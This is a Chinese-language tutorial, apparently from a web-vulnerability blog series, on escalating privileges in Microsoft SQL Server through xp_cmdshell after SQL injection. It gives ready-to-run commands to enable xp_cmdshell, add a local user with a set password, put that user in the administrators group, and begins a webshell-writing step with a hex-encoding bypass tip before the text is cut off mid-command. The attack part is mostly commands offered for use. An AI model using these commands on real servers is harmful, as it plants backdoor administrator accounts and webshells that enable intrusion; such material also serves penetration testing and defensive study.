WEB漏洞系列-MSSQL提权之xp_cmdshell

一、前言

xp_cmdshell 是 Microsoft SQL Server 中的一个系统存储过程,允许从SQL查询中执行操作系统命令。它在之前的SQL Server版本中可用,从SQL Server 2012开始被弃用。提权前提

1
2
getshell 或者存在 sql 注入并且能够执行命令(sqlmap sql-shell)。
sql server 是 system 权限(sql server 默认就是 system 权限)。

二、xp_cmdshell 相关命令

有了 xp_cmdshell 的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。


开启 xp_cmdshell

可在 sqlmap 获取 sql-shell 后执行命令,原理就是利用 sp_configure 进行执行命令。

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

关闭 xp_cmdshell

1
2
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

提权

1
2
exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用户test,密码test
exec master..xp_cmdshell 'net localgroup administrators test /add' 添加test用户到管理员组

写入 webshell

得知网站路径后,在 sql-shell 中执行写 shell,如果执行不了,可以尝试 hex 编码绕过,下面给出两个例子

```
EXEC master..xp_cmdshell ‘echo ^<%